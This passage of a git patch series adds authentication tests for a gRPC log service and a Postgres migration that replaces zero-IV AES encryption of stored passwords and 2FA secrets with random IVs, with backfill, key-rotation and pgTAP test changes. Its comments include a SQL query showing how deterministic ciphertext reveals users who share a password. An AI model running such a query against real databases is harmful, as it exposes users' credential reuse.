kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertTrue + +/** + * The application-log bridge, exercised over a real gRPC server (BossConsole#53). + * + * Before this bridge checked identity, any process able to open a connection to the kernel IPC + * server - not only the plugins the host itself loaded - could watch the live stdout/stderr + * stream of the running BOSS process, or export its whole history, with no credential at all. + */ +class LogServiceBridgeTest { + private lateinit var tokenRegistry: ProcessTokenRegistry + private lateinit var provider: FakeLogDataProvider + private lateinit var server: Server + private lateinit var authenticatedChannel: ManagedChannel + private lateinit var anonymousChannel: ManagedChannel + private lateinit var authenticated: LogServiceGrpcKt.LogServiceCoroutineStub + private lateinit var anonymous: LogServiceGrpcKt.LogServiceCoroutineStub + + @BeforeTest + fun setUp() { + tokenRegistry = ProcessTokenRegistry() + provider = FakeLogDataProvider() + server = + ServerBuilder + .forPort(0) + .intercept(ProcessIdentityInterceptor(tokenRegistry)) + .addService(LogServiceBridge(provider)) + .build() + .start() + authenticatedChannel = + ManagedChannelBuilder + .forAddress("localhost", server.port) + .usePlaintext() + .intercept(ProcessTokenClientInterceptor(tokenRegistry.issue(CALLER))) + .build() + anonymousChannel = ManagedChannelBuilder.forAddress("localhost", server.port).usePlaintext().build() + authenticated = LogServiceGrpcKt.LogServiceCoroutineStub(authenticatedChannel) + anonymous = LogServiceGrpcKt.LogServiceCoroutineStub(anonymousChannel) + } + + @AfterTest + fun tearDown() { + authenticatedChannel.shutdownNow() + authenticatedChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + anonymousChannel.shutdownNow() + anonymousChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + server.shutdownNow() + server.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + } + + @Test + fun `every RPC is refused with no credential, and never reaches the log provider`() = + runBlocking { + assertRefused { anonymous.watchLogs(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchFilter(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchSearchQuery(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchAutoScroll(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.setFilter(LogFilterProto.getDefaultInstance()) } + assertRefused { anonymous.setSearchQuery(LogStringRequest.newBuilder().setValue("q").build()) } + assertRefused { anonymous.toggleAutoScroll(Empty.getDefaultInstance()) } + assertRefused { anonymous.clearLogs(Empty.getDefaultInstance()) } + assertRefused { anonymous.exportLogs(Empty.getDefaultInstance()) } + + assertTrue(provider.calls.isEmpty(), "a refused call must never reach the log provider") + } + + @Test + fun `an authenticated caller can watch and export logs`() = + runBlocking { + provider.setLogs(listOf(LogEntryData(timestamp = 1L, message = "hello", source = LogSourceData.STDOUT))) + + val response = + authenticated + .watchLogs(Empty.getDefaultInstance()) + .take(1) + .toList() + .single() + assertEquals("hello", response.entriesList.single().message) + + val exported = authenticated.exportLogs(Empty.getDefaultInstance()) + assertEquals("exported", exported.value) + + authenticated.setSearchQuery(LogStringRequest.newBuilder().setValue("q").build()) + authenticated.clearLogs(Empty.getDefaultInstance()) + + assertEquals(listOf("exportLogs", "setSearchQuery", "clearLogs"), provider.calls) + } + + @Test + fun `revoked caller cannot invoke a unary RPC`() = + runBlocking { + tokenRegistry.revoke(CALLER) + assertRefused { authenticated.exportLogs(Empty.getDefaultInstance()) } + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `revoked watcher cannot receive a later snapshot`() = + runBlocking { + withTimeout(10_000) { + supervisorScope { + val received = Channel(Channel.UNLIMITED) + val watching = + async { + authenticated.watchLogs(Empty.getDefaultInstance()).collect { received.send(Unit) } + } + try { + received.receive() + tokenRegistry.revoke(CALLER) + provider.setLogs(listOf(LogEntryData(1L, "after", LogSourceData.STDOUT))) + val failure = assertFailsWith { watching.await() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(received.tryReceive().isFailure, "revocation must prevent the next snapshot") + } finally { + watching.cancel() + received.close() + } + } + } + } + + private suspend fun assertRefused(call: suspend () -> Unit) { + val failure = assertFailsWith { call() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + } + + /** Records every method it was actually asked to perform, so a refusal can be proven silent. */ + private class FakeLogDataProvider : LogDataProvider { + val calls = mutableListOf() + private val _logs = MutableStateFlow>(emptyList()) + override val logs: StateFlow> = _logs + private val _filter = MutableStateFlow(LogFilterData.ALL) + override val filter: StateFlow = _filter + private val _searchQuery = MutableStateFlow("") + override val searchQuery: StateFlow = _searchQuery + private val _autoScroll = MutableStateFlow(true) + override val autoScroll: StateFlow = _autoScroll + + fun setLogs(entries: List) { + _logs.value = entries + } + + override fun setFilter(filter: LogFilterData) { + calls += "setFilter" + _filter.value = filter + } + + override fun setSearchQuery(query: String) { + calls += "setSearchQuery" + _searchQuery.value = query + } + + override fun toggleAutoScroll() { + calls += "toggleAutoScroll" + _autoScroll.value = !_autoScroll.value + } + + override fun clearLogs() { + calls += "clearLogs" + _logs.value = emptyList() + } + + override fun exportLogs(): String { + calls += "exportLogs" + return "exported" + } + } + + private companion object { + const val CALLER = "log-panel-plugin" + const val SHUTDOWN_TIMEOUT_MS = 5_000L + } +} From 7dfb90e5a76301f34d9bf98e8f370b67d3dd197e Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 13:57:46 +0530 Subject: [PATCH 18/28] fix(security): randomize the IV for encrypt_text/decrypt_text (#647) * fix(security): randomize the IV for encrypt_text/decrypt_text encrypt_text called the 3-arg extensions.encrypt(plaintext, key, 'aes'), which pgcrypto documents as using an all-zero IV, so encryption was a pure function of (plaintext, key) alone: two equal passwords produced byte-identical ciphertext. Because create_secret encrypts server-side and RLS lets a user read their own password_encrypted back, any signed-in user was an encryption oracle - grouping a dump by ciphertext names every set of users sharing a password, with no key required. The same defect applied to recovery_codes_encrypted and twofa_secret. encrypt_text now draws a fresh random 16-byte IV per call and stores 'v2:' || base64(iv || ciphertext); decrypt_text dispatches on that prefix and falls back to the original zero-IV path for anything not yet migrated, so this deploys without a flag day. A backfill converts existing rows in all three columns, guarded by NOT LIKE 'v2:%' so a partial or repeated run is a no-op. Deliberately scoped to this one defect (BossConsole#618 names three). Defect 2 (the encryption key truncated to 32 string characters instead of 32 bytes) is not touched here: ops/rotate_master_encryption_key.sql records that a deployed key may be hex or base64, and this migration cannot tell which is live in any given project's Vault - guessing wrong would make get_encryption_key()'s result unusable and break encryption for every row on deploy. Defect 3 (no MAC/AEAD) needs its own wire-format review. ops/rotate_master_encryption_key.sql itself will need a follow-up before it can run again, since it manipulates raw ciphertext bytes assuming the old no-IV, no-prefix layout - both gaps are documented in the migration's own header. This could not be run against a real Postgres/pgTAP instance in this environment (no supabase/docker CLI available here) - the added test was written and reviewed by hand, and hosted CI's Database (pgTAP) check is the actual verification gate. * fix(security): un-qualify substring(... from ...) so it parses CI's Database (pgTAP) check caught what local review couldn't (no Postgres available in this sandbox): pg_catalog.substring(x from y) is a syntax error. substring's SQL-standard FROM/FOR trailing syntax is recognized by the parser only on the bare function name - schema-qualifying it makes PostgreSQL treat it as an ordinary call, where FROM is not a valid argument separator. 20260909000000_encrypt_totp.sql's own decrypt_text already calls substring unqualified for exactly this reason; this migration's three call sites (envelope/iv/body extraction in decrypt_text, and the twofa_secret backfill) now match that convention. Both functions' search_path already resolves the unqualified name to pg_catalog's substring, so nothing else about name resolution changes. * fix(security): make key rotation understand the v2 IV envelope CI's Database (pgTAP) check caught what local review couldn't (no Postgres available in this sandbox): the pre-existing master_key_rotation_test.sql runs ops/rotate_master_encryption_key.sql against real fixture data, and that script's re-encrypt loop calls extensions.decrypt/encrypt directly on raw ciphertext bytes, assuming the old zero-IV, no-prefix layout. The 'v2:' prefix the previous commit's encrypt_text now writes is not valid base64, so decoding it raised - exactly the gap this migration's own header comment already named as a follow-up, just sooner than expected. Added a pg_temp helper, rotate_ciphertext, that re-encrypts a mapped column's value under the new key while preserving whichever envelope it already carries: a 'v2:' row is decrypted with decrypt_iv under the old key and re-encrypted with encrypt_iv under the new key AND a fresh IV (a function rather than an inline SQL expression, specifically so gen_random_bytes(16) is evaluated once and reused for both the encrypt_iv call and the stored prefix - two calls would produce two different values and corrupt the row). A legacy row - every column before this pair of migrations, and still qbo_token_state / google_token_state going forward, since those are untouched by the IV migration - stays zero-IV, matching what it already was. Rotation's contract stays "same shape, new key"; upgrading a row's shape is the encryption migration's job, not rotation's. Updated the IV migration's own header comment, which had flagged this as a still-open follow-up, to point at the fix now landing alongside it instead. * fix(security): preserve plaintext bytes during IV upgrade * fix(security): make IV backfill atomic and diagnose unreadable rows --------- Co-authored-by: Shivang --- .gitignore | 2 + scripts/test/prepare-db-access-tests.py | 1 + ...4000000_randomize_secret_encryption_iv.sql | 200 ++++++++++++++++++ supabase/ops/rotate_master_encryption_key.sql | 51 ++++- .../tests/master_key_rotation_test.sql.in | 21 +- ...ecret_encryption_iv_randomization_test.sql | 101 +++++++++ supabase/tests/secret_iv_upgrade_test.sql.in | 101 +++++++++ 7 files changed, 469 insertions(+), 8 deletions(-) create mode 100644 supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql create mode 100644 supabase/tests/secret_encryption_iv_randomization_test.sql create mode 100644 supabase/tests/secret_iv_upgrade_test.sql.in diff --git a/.gitignore b/.gitignore index bcc317eb60..7eaedcd545 100644 --- a/.gitignore +++ b/.gitignore @@ -128,3 +128,5 @@ supabase/tests/.migration-fixtures/ supabase/tests/master_key_rotation_test.sql supabase/tests/db_access_audit_test.sql supabase/tests/client_grant_audit_test.sql + +/supabase/tests/secret_iv_upgrade_test.sql diff --git a/scripts/test/prepare-db-access-tests.py b/scripts/test/prepare-db-access-tests.py index 1969a7b644..8d5c0c289c 100644 --- a/scripts/test/prepare-db-access-tests.py +++ b/scripts/test/prepare-db-access-tests.py @@ -27,6 +27,7 @@ # name -> (operation inlined at each marker, exact number of markers expected) SUITES = [ + ("secret_iv_upgrade", "migrations/20260914000000_randomize_secret_encryption_iv.sql", 3), ("master_key_rotation", "ops/rotate_master_encryption_key.sql", 5), ("db_access_audit", "audit/identity_disclosure_audit.sql", 4), ("client_grant_audit", "audit/client_grant_audit.sql", 2), diff --git a/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql b/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql new file mode 100644 index 0000000000..d7c53ef8ab --- /dev/null +++ b/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql @@ -0,0 +1,200 @@ +-- ============================================================================ +-- BOSS Database Schema: Randomize the IV for encrypt_text/decrypt_text +-- ============================================================================ +-- File: 20260914000000_randomize_secret_encryption_iv.sql +-- Fixes: BossConsole#618 (defect 1 of 3 - see that issue for the other two). +-- +-- encrypt_text() called the 3-arg extensions.encrypt(plaintext, key, 'aes'), +-- which pgcrypto documents as using an all-zero IV. Encryption was therefore a +-- pure function of (plaintext, key): two equal passwords produced byte-identical +-- ciphertext. Because create_secret() encrypts server-side and RLS lets a user +-- read their own password_encrypted back, any signed-in user was an encryption +-- oracle - `SELECT password_encrypted, count(*) FROM secrets GROUP BY 1 HAVING +-- count(*) > 1` names every set of users sharing a password, from a dump alone, +-- with no key required. The same defect applied to recovery_codes_encrypted and +-- (#417) twofa_secret, wherever two rows happened to hold equal plaintext. +-- +-- Fix: encrypt_text now generates a fresh random 16-byte IV per call +-- (extensions.gen_random_bytes) and uses extensions.encrypt_iv/decrypt_iv, +-- storing 'v2:' || base64(iv || ciphertext) - the same versioned-envelope +-- convention 20260909000000_encrypt_totp.sql established for this exact +-- purpose. decrypt_text dispatches on the 'v2:' prefix and falls back to the +-- original zero-IV path for anything not yet migrated, so this deploys without +-- a flag day: existing ciphertext keeps decrypting right up until the backfill +-- below converts it, and nothing but encrypt_text/decrypt_text's own behavior +-- changes for any caller. +-- +-- Deliberately NOT touched here, so nobody assumes more was fixed than was: +-- - Defect 2 (encryption_key::bytea truncates the key to its first 32 +-- *bytes of the string's own characters* - 32 hex characters is 128 bits, +-- not the documented 256). ops/rotate_master_encryption_key.sql's own +-- comment records that a deployed key may be hex OR base64, and this +-- migration cannot tell which is live in any given project's Vault - an +-- incorrect guess here would make get_encryption_key()'s result unusable +-- and break encryption/decryption for every row immediately on deploy. +-- Fixing defect 2 needs an operator who knows the deployed key's actual +-- encoding, not a guess baked into a migration. Left as GitHub#618's +-- still-open second defect. +-- - Defect 3 (no MAC/AEAD - a flipped ciphertext byte surfaces only as a +-- later UTF8 decode error, never as an authentication failure). Adding one +-- is a wire-format decision (where the tag lives, what key derives it) +-- that deserves its own review, not a rider on this fix. +-- ops/rotate_master_encryption_key.sql's re-encrypt loop operated on raw +-- ciphertext bytes directly (old key -> new key) and assumed the fixed, +-- no-IV, no-prefix legacy layout for every mapped column - after the backfill +-- below, the three columns above are 'v2:'-framed instead, so that script has +-- been updated in the same change as this migration to re-encrypt either +-- shape under its own envelope (a v2 row gets a fresh IV; a legacy row, such +-- as the still-unmigrated qbo_token_state/google_token_state columns, stays +-- zero-IV). Existing broker rows are NOT upgraded by this migration or by +-- rotation; only later application writes change their format. Their schemas +-- are operated outside this repository and need an explicit operator-owned +-- backfill. This change is scoped to the three user-secret fields in #618. +-- The inner v2 encryption version is independent of TOTP's outer v1 marker. +-- See that script's own comment for the detail. +-- ============================================================================ + +CREATE OR REPLACE FUNCTION "public"."encrypt_text"("plaintext" "text") RETURNS "text" + LANGUAGE "plpgsql" SECURITY DEFINER + SET "search_path" TO 'public, pg_catalog, extensions' + AS $$ +DECLARE + encryption_key TEXT; + iv bytea; + ciphertext bytea; +BEGIN + encryption_key := public.get_encryption_key(); + -- 16 bytes: pgcrypto's AES block size, and what decrypt below expects to + -- split back off the front of the stored envelope. + iv := extensions.gen_random_bytes(16); + ciphertext := extensions.encrypt_iv( + pg_catalog.convert_to(plaintext, 'utf8'), + encryption_key::bytea, + iv, + 'aes'::text + ); + RETURN 'v2:' || pg_catalog.encode(iv || ciphertext, 'base64'::text); +END; +$$; + +ALTER FUNCTION "public"."encrypt_text"("plaintext" "text") OWNER TO "postgres"; + +CREATE OR REPLACE FUNCTION "public"."decrypt_text"("ciphertext" "text") RETURNS "text" + LANGUAGE "plpgsql" SECURITY DEFINER + SET "search_path" TO 'public, pg_catalog, extensions' + AS $$ +DECLARE + encryption_key TEXT; + envelope bytea; + iv bytea; + body bytea; +BEGIN + IF ciphertext IS NULL THEN + RETURN NULL; + END IF; + + encryption_key := public.get_encryption_key(); + + IF ciphertext LIKE 'v2:%' THEN + -- substring(x FROM y [FOR z]) is SQL-standard trailing syntax the parser recognizes only + -- on the bare function name - schema-qualifying it (pg_catalog.substring(...)) makes FROM + -- a syntax error, since it is then parsed as an ordinary call instead. The parser + -- resolves this SQL-standard form to pg_catalog.substring; it does not rely + -- on search_path (20260909000000_encrypt_totp.sql does the same). + envelope := pg_catalog.decode(substring(ciphertext from 4), 'base64'::text); + iv := substring(envelope from 1 for 16); + body := substring(envelope from 17); + RETURN pg_catalog.convert_from( + extensions.decrypt_iv(body, encryption_key::bytea, iv, 'aes'::text), + 'utf8'::name + ); + END IF; + + -- Legacy path, unchanged: a zero-IV ciphertext written before this + -- migration, or any row the backfill below has not reached yet. + RETURN pg_catalog.convert_from( + extensions.decrypt( + pg_catalog.decode(ciphertext, 'base64'::text), + encryption_key::bytea, + 'aes'::text + ), + 'utf8'::name + ); +END; +$$; + +ALTER FUNCTION "public"."decrypt_text"("ciphertext" "text") OWNER TO "postgres"; + +-- ---- Backfill: convert every existing zero-IV ciphertext to the versioned, +-- random-IV envelope. Guarded by "NOT LIKE 'v2:%'" so re-running this +-- migration (or a row already migrated by a prior partial run) is a no-op, +-- matching 20260909000000_encrypt_totp.sql's own idempotency contract. + +-- Keep the trigger-disabled window atomic even under psql without -1. +DO $backfill$ +DECLARE + field record; + stored record; + unreadable bigint; +BEGIN + -- A missing/disabled input trigger is an unsafe schema state, not an optional + -- deployment. Refuse before touching data; the operator must restore it first. + IF NOT EXISTS (SELECT 1 FROM pg_catalog.pg_trigger + WHERE tgrelid = 'public.secret_metadata'::regclass + AND tgname = 'encrypt_twofa_secret_trigger' AND tgenabled = 'O') THEN + RAISE EXCEPTION 'IV upgrade requires enabled encrypt_twofa_secret_trigger; restore the TOTP input trigger first'; + END IF; + + -- Report counts and column names only, never plaintext, ciphertext or keys. + -- Do not skip unreadable rows or turn them into NULL during an upgrade. + FOR field IN SELECT * FROM (VALUES + ('secrets', 'password_encrypted', 1, ''), + ('secret_metadata', 'recovery_codes_encrypted', 1, ''), + ('secret_metadata', 'twofa_secret', 4, 'v1:') + ) AS fields(tbl, col, start_at, prefix) LOOP + unreadable := 0; + FOR stored IN EXECUTE pg_catalog.format( + 'SELECT pg_catalog.substr(%1$I, %2$s) AS value FROM public.%3$I ' + 'WHERE %1$I IS NOT NULL AND %1$I LIKE %4$L ' + 'AND pg_catalog.substr(%1$I, %2$s) NOT LIKE ''v2:%%''', + field.col, field.start_at, field.tbl, field.prefix || '%') LOOP + BEGIN + PERFORM public.decrypt_text(stored.value); + EXCEPTION WHEN OTHERS THEN + unreadable := unreadable + 1; + END; + END LOOP; + IF unreadable > 0 THEN + RAISE EXCEPTION 'IV upgrade refused: % unreadable rows in public.%; recover these rows with the correct key before retrying', + unreadable, field.tbl || '.' || field.col; + END IF; + END LOOP; + +UPDATE public.secrets +SET password_encrypted = public.encrypt_text(public.decrypt_text(password_encrypted)) +WHERE password_encrypted IS NOT NULL + AND password_encrypted NOT LIKE 'v2:%'; + +UPDATE public.secret_metadata +SET recovery_codes_encrypted = public.encrypt_text(public.decrypt_text(recovery_codes_encrypted)) +WHERE recovery_codes_encrypted IS NOT NULL + AND recovery_codes_encrypted NOT LIKE 'v2:%'; + +-- twofa_secret carries its own 'v1:' envelope around an encrypt_text() payload +-- (20260909000000_encrypt_totp.sql). Re-encrypt the inner payload and keep the +-- outer 'v1:' framing exactly as-is, since safe_decrypt_twofa_secret and the +-- insert/update trigger both key off it. The trigger rejects any UPDATE whose +-- new value already carries a 'v1:' prefix ("TOTP input must be plaintext"), +-- which is correct for application writes and fatal for this backfill - +-- disable it for the duration, exactly as +-- ops/rotate_master_encryption_key.sql already does for the same reason. +ALTER TABLE public.secret_metadata DISABLE TRIGGER encrypt_twofa_secret_trigger; + +UPDATE public.secret_metadata +SET twofa_secret = 'v1:' || public.encrypt_text(public.decrypt_text(substring(twofa_secret from 4))) +WHERE twofa_secret LIKE 'v1:%' + AND substring(twofa_secret from 4) NOT LIKE 'v2:%'; + +ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; +END; +$backfill$; diff --git a/supabase/ops/rotate_master_encryption_key.sql b/supabase/ops/rotate_master_encryption_key.sql index 7a961bd77b..7fd08d048d 100644 --- a/supabase/ops/rotate_master_encryption_key.sql +++ b/supabase/ops/rotate_master_encryption_key.sql @@ -225,18 +225,59 @@ begin end if; end loop; + -- A mapped column's stripped value (after cols[i][4]'s outer envelope, if + -- any) is either the legacy zero-IV ciphertext every column held before + -- 20260914000000_randomize_secret_encryption_iv.sql, or - for the three + -- columns that migration touched - the 'v2:' || base64(iv || ciphertext) + -- envelope encrypt_text now writes. This function re-encrypts either shape + -- under the new key, preserving its own envelope rather than upgrading one + -- to the other: that upgrade is the encryption migration's job, not + -- rotation's, whose contract stays "same shape, new key". A v2 row gets a + -- freshly generated IV - rotating the key is a good time to rotate the IV + -- too, and it is why this is a function rather than an inline expression: + -- gen_random_bytes(16) has to be evaluated exactly once and reused for both + -- the encrypt_iv call and the stored prefix, which a single SQL expression + -- cannot guarantee (two calls to it would produce two different values). + execute $def$ + create or replace function pg_temp.rotate_ciphertext(v text, old_key bytea, new_key bytea) + returns text language plpgsql as $rc$ + declare + envelope bytea; iv bytea; body bytea; new_iv bytea; + begin + if v is null then + return null; + end if; + if v like 'v2:%' then + envelope := pg_catalog.decode(substring(v from 4), 'base64'); + iv := substring(envelope from 1 for 16); + body := substring(envelope from 17); + new_iv := extensions.gen_random_bytes(16); + return 'v2:' || pg_catalog.encode( + new_iv || extensions.encrypt_iv( + extensions.decrypt_iv(body, old_key, iv, 'aes'), + new_key, new_iv, 'aes'), + 'base64'); + end if; + return pg_catalog.encode( + extensions.encrypt( + extensions.decrypt(pg_catalog.decode(v, 'base64'), old_key, 'aes'), + new_key, 'aes'), + 'base64'); + end; + $rc$; + $def$; + for i in 1 .. array_length(cols, 1) loop execute format($f$ update public.%1$I - set %2$I = %4$L || pg_catalog.encode( - extensions.encrypt( - extensions.decrypt(pg_catalog.decode(pg_catalog.substr(%2$I, %5$s),'base64'), $1::bytea, 'aes'), - $2::bytea, 'aes'), 'base64') + set %2$I = %4$L || pg_temp.rotate_ciphertext(pg_catalog.substr(%2$I, %5$s), $1, $2) where %2$I is not null $f$, cols[i][1], cols[i][2], cols[i][3], cols[i][4], (length(cols[i][4]) + 1)::text) - using old_key, new_key; + using old_key::bytea, new_key::bytea; end loop; + drop function pg_temp.rotate_ciphertext(text, bytea, bytea); + for i in 1 .. array_length(known_triggers, 1) loop if to_regclass(format('public.%I', known_triggers[i][1])) is not null and exists ( diff --git a/supabase/tests/master_key_rotation_test.sql.in b/supabase/tests/master_key_rotation_test.sql.in index 186dc11923..896160faea 100644 --- a/supabase/tests/master_key_rotation_test.sql.in +++ b/supabase/tests/master_key_rotation_test.sql.in @@ -1,7 +1,7 @@ -- The broker schemas are operated outside this repository. Model their exact -- encrypted-column contract locally; no production keys or rows are used. begin; -select plan(16); +select plan(20); set local datestyle = 'ISO, YMD'; create table public.qbo_token_state ( id integer primary key, client_id_enc text, client_secret_enc text, @@ -39,14 +39,29 @@ select public.create_secret('rotation.example', 'fixture', 'core-fixture', p_recovery_codes => array['recovery-one', 'recovery-two']); update public.secret_metadata sm set twofa_secret = 'JBSWY3DPEHPK3PXP' from public.secrets sec where sec.id = sm.secret_id and sec.website = 'rotation.example'; -insert into public.qbo_token_state values (1, public.encrypt_text('client'), +-- Existing broker rows remain legacy while new writes use v2. Exercise both +-- paths in the same rotation, independently constructing the old format. +insert into public.qbo_token_state values (1, encode(extensions.encrypt( + convert_to('client', 'utf8'), public.get_encryption_key()::bytea, 'aes'), 'base64'), public.encrypt_text('secret'), public.encrypt_text('refresh'), public.encrypt_text('access')); insert into public.google_token_state values (1, public.encrypt_text('pem'), public.encrypt_text('token')); create view public.pgtap_broker_view as select client_id_enc from public.qbo_token_state; +create temp table rotation_initial_iv as +select substring(decode(substr(client_secret_enc, 4), 'base64') from 1 for 16) as iv +from public.qbo_token_state; create temp table rotation_initial_key as select public.get_encryption_key() as value, clock_timestamp() as started_at, (select count(*) from vault.secrets where name like 'master\_encryption\_key\_retired\_%') as retired_before; \ir ../ops/rotate_master_encryption_key.sql +select is((select public.decrypt_text(client_id_enc) from public.qbo_token_state), + 'client', 'legacy zero-IV broker value survives a mixed-format rotation'); +select ok((select client_id_enc not like 'v2:%' from public.qbo_token_state), + 'rotation preserves the legacy broker format'); +select ok((select client_secret_enc like 'v2:%' from public.qbo_token_state), + 'rotation preserves the new v2 broker format'); +select isnt((select substring(decode(substr(client_secret_enc,4),'base64') from 1 for 16) + from public.qbo_token_state), (select iv from rotation_initial_iv), + 'rotation assigns a fresh IV to a v2 value'); select isnt(public.get_encryption_key(), (select value from rotation_initial_key), 'rotation replaces the master key'); select is((select public.decrypt_text(client_secret_enc) from public.qbo_token_state where id=1), @@ -93,7 +108,7 @@ select is((select password from public.get_user_secrets(50,0) where website='rot -- the contract. Both negative cases raise before anything is mutated, so they -- leave the retained-key counts asserted above untouched. alter table public.secret_metadata disable trigger encrypt_twofa_secret_trigger; -update public.secret_metadata sm set twofa_secret = 'v2:' || substr(sm.twofa_secret, 4) +update public.secret_metadata sm set twofa_secret = 'v9:' || substr(sm.twofa_secret, 4) from public.secrets sec where sec.id = sm.secret_id and sec.website = 'rotation.example'; select throws_ok($rot$ \ir ../ops/rotate_master_encryption_key.sql diff --git a/supabase/tests/secret_encryption_iv_randomization_test.sql b/supabase/tests/secret_encryption_iv_randomization_test.sql new file mode 100644 index 0000000000..c97f29bab4 --- /dev/null +++ b/supabase/tests/secret_encryption_iv_randomization_test.sql @@ -0,0 +1,101 @@ +-- BossConsole#618 (defect 1): encrypt_text/decrypt_text must no longer produce +-- deterministic, zero-IV ciphertext. All migrations are already applied by the +-- time this file runs, so 20260914000000_randomize_secret_encryption_iv.sql's +-- own backfill has nothing to convert on a fresh database; the last block +-- below re-runs its exact UPDATE statement against a row inserted in the old +-- format to prove that statement's logic directly, rather than only trusting +-- that it ran once at migration time. +BEGIN; +SELECT no_plan(); +DO $fixture$ +DECLARE existing uuid; +BEGIN + SELECT id INTO existing FROM vault.secrets WHERE name = 'master_encryption_key'; + IF existing IS NULL THEN + PERFORM vault.create_secret('iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + ELSE + PERFORM vault.update_secret(existing, 'iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + END IF; +END; +$fixture$; + +-- ---- Determinism is broken: two encryptions of the same plaintext differ. +SELECT isnt( + public.encrypt_text('same-password'), + public.encrypt_text('same-password'), + 'two encryptions of the same plaintext produce different ciphertext' +); + +-- ---- New envelope round-trips. +SELECT matches(public.encrypt_text('round-trip-me'), '^v2:', 'new ciphertext carries the v2 envelope'); +SELECT is( + public.decrypt_text(public.encrypt_text('round-trip-me')), + 'round-trip-me', + 'a v2-encrypted value round trips' +); + +-- ---- Legacy (pre-migration, zero-IV) ciphertext still decrypts. Constructed +-- with the exact expression the original encrypt_text used, not through the +-- (now-replaced) function - this is what every row written before this +-- migration actually looks like on disk. +DO $$ +DECLARE + legacy_ciphertext text; +BEGIN + legacy_ciphertext := pg_catalog.encode( + extensions.encrypt('legacy-password'::bytea, public.get_encryption_key()::bytea, 'aes'::text), + 'base64'::text + ); + PERFORM set_config('pgtap.legacy_ciphertext', legacy_ciphertext, true); +END; +$$; +SELECT is( + public.decrypt_text(current_setting('pgtap.legacy_ciphertext')), + 'legacy-password', + 'a zero-IV ciphertext written before this migration still decrypts' +); +SELECT ok( + current_setting('pgtap.legacy_ciphertext') NOT LIKE 'v2:%', + 'the legacy fixture really is in the old, unversioned format' +); + +-- ---- The backfill statement converts a legacy row to the v2 envelope, and +-- is idempotent (a second run leaves an already-migrated row unchanged). +INSERT INTO auth.users (id, email) VALUES + ('d1800000-0000-4000-8000-000000000001', 'iv-owner@pgtap.test'); +INSERT INTO public.secrets (id, user_id, website, username, password_encrypted) VALUES + ('d1800000-0000-4000-8000-000000000011', 'd1800000-0000-4000-8000-000000000001', 'iv.test', 'owner', + pg_catalog.encode(extensions.encrypt('shared-password'::bytea, public.get_encryption_key()::bytea, 'aes'::text), 'base64'::text)); + +UPDATE public.secrets +SET password_encrypted = public.encrypt_text(public.decrypt_text(password_encrypted)) +WHERE id = 'd1800000-0000-4000-8000-000000000011' + AND password_encrypted NOT LIKE 'v2:%'; + +SELECT matches( + (SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011'), + '^v2:', + 'the backfill statement upgrades a legacy row to the v2 envelope' +); +SELECT is( + public.decrypt_text((SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011')), + 'shared-password', + 'the upgraded row still decrypts to its original plaintext' +); + +CREATE TEMP TABLE iv_backfill_before AS + SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011'; + +UPDATE public.secrets +SET password_encrypted = public.encrypt_text(public.decrypt_text(password_encrypted)) +WHERE id = 'd1800000-0000-4000-8000-000000000011' + AND password_encrypted NOT LIKE 'v2:%'; + +SELECT is( + (SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011'), + (SELECT password_encrypted FROM iv_backfill_before), + 'the backfill guard is idempotent - an already-migrated row is left untouched' +); + +SELECT * FROM finish(); +ROLLBACK; diff --git a/supabase/tests/secret_iv_upgrade_test.sql.in b/supabase/tests/secret_iv_upgrade_test.sql.in new file mode 100644 index 0000000000..2a950235a6 --- /dev/null +++ b/supabase/tests/secret_iv_upgrade_test.sql.in @@ -0,0 +1,101 @@ +-- Replay the actual migration against populated legacy storage, using only +-- transaction-local synthetic data. Expected plaintext is independent of the +-- old text-to-bytea cast, which interpreted backslashes during a backfill. +BEGIN; +SELECT no_plan(); +DO $fixture$ +DECLARE existing uuid; +BEGIN + SELECT id INTO existing FROM vault.secrets WHERE name = 'master_encryption_key'; + IF existing IS NULL THEN + PERFORM vault.create_secret('iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + ELSE + PERFORM vault.update_secret(existing, 'iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + END IF; +END; +$fixture$; +CREATE TEMP TABLE iv_expected AS +SELECT $plain$literal\path\\double\123 雪$plain$::text AS password, + '["code\\\\path","雪"]'::text AS recovery, + 'JBSWY3DPEHPK3PXP'::text AS totp; +CREATE FUNCTION pg_temp.legacy_iv_encrypt(value text) RETURNS text LANGUAGE sql AS $$ + SELECT encode(extensions.encrypt(convert_to(value, 'utf8'), + public.get_encryption_key()::bytea, 'aes'), 'base64'); +$$; +INSERT INTO auth.users(id, email) VALUES + ('d1800000-0000-4000-8000-000000000021', 'iv-upgrade@pgtap.test'); +INSERT INTO public.secrets(id,user_id,website,username,password_encrypted) +SELECT 'd1800000-0000-4000-8000-000000000022', + 'd1800000-0000-4000-8000-000000000021', 'iv-upgrade.test','owner', + pg_temp.legacy_iv_encrypt(password) FROM iv_expected; +ALTER TABLE public.secret_metadata 